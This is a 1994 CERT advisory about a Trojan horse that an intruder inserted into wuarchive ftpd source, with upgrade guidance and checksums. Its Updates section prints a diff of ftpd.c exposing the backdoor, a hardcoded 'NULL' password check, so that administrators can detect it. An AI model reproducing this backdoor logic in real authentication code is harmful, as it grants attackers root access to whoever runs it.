CERT Advisory CA-1994-07 wuarchive ftpd Trojan Horse

A complete revision history is at the end of this file.

The CERT Coordination Center has received confirmation that some copies of the source code for the wuarchive FTP daemon (ftpd) were modified by an intruder, and contain a Trojan horse.

We strongly recommend that any site running the wuarchive ftpd take steps to immediately install version 2.3, or disable their FTP daemon.

I. Description

Some copies of the source code for versions 2.2 and 2.1f of the wuarchive ftpd were modified by an intruder, and contain a Trojan horse. If your FTP daemon was compiled from the intruder-modified source code, you are vulnerable.

It is possible that previous versions of the source code for the server were modified in a similar manner.

If you are running the wuarchive ftpd, but not providing anonymous FTP access, you are still vulnerable to this Trojan horse.

II. Impact

An intruder can gain root access on a host running an FTP daemon that contains this Trojan horse.

III. Solution

We strongly recommend that any site running the wuarchive ftpd (version 2.2 or earlier) take steps to install the current version.

If you cannot install the new version in a timely manner, you should disable FTP service. It is not sufficient to disable anonymous FTP. You must disable the FTP daemon.

Sites can obtain version 2.4 via anonymous FTP from

ftp://ftp.uu.net/networking/ftp/wuarchive-ftpd

We recommend that you turn off your FTP server until you have installed the new version.

Be certain to verify the checksum information to confirm that you have retrieved a valid copy.

        CHECKSUMS
        System V sum
        ============
        51092    16  patch_2.3-2.4.Z
        20337   362  wu-ftpd-2.4.tar.Z
 
        Berkeley sum
        ============
        09291     8  patch_2.3-2.4.Z
        38213   181  wu-ftpd-2.4.tar.Z
 
        md5 checksum
        ============
        MD5 (patch_2.3-2.4.Z)   = 5558a04d9da7cdb1113b158aff89be8f
        MD5 (wu-ftpd-2.4.tar.Z) = cdcb237b71082fa23706429134d8c32e
 

The CERT Coordination Center wishes to thank Bryan O'Connor and Chris Myers of Washington University in St. Louis for their invaluable assistance in resolving this problem. CERT also gratefully acknowledges the help of Neil Woods and Karl Strickland.

UPDATES

The Trojan horse described in CA-94.07 provides a back-door password for any username other than "anonymous." It would be trivial for an intruder to modify the back-door password or other details of the Trojan horse code. The "diff" described in #1 below will help you detect only the Trojan horse referenced in the advisory. It will not detect any other Trojan horses.

Clarifications:

1) If you have modified any version of the wuarchive ftpd and cannot install the new version, 2.3, you may detect the existence of the discovered Trojan horse with the following diff on ftpd.c:

1013,1015c1013,1014
<         if ((pw == NULL || *pw->pw_passwd == '\0' ||
<             strcmp(xpasswd, pw->pw_passwd)) &&
<             (strcmp(passwd, "NULL"))) {
- ---
<         if (pw == NULL || *pw->pw_passwd == '\0' ||
<             strcmp(xpasswd, pw->pw_passwd)) {

2) Since the versions containing the Trojan horse were found in a number of locations, it is possible that your version of the wuarchive ftpd software contains the Trojan horse regardless of the distribution site from which you obtained the source code.

3) If you have any questions concerning the wuarchive ftpd software, send mail to:

Bryan D. O'Connor
Office of the Network Coordinator
bryan@fegmania.wustl.edu Washington University in Saint Louis
http://fegmania.wustl.edu/~bryan

Copyright 1994, 1995, 1996 Carnegie Mellon University.

Sep. 23, 1997  Updated copyright statement
Aug. 30, 1996  Information previously in the README was inserted
               into the advisory.
Feb. 02, 1995  Sec. III - Inserted a pointer and checksums for wu-ftpd-2.4.
Apr. 07, 1994  Updates - Added clarifications and additional assistance.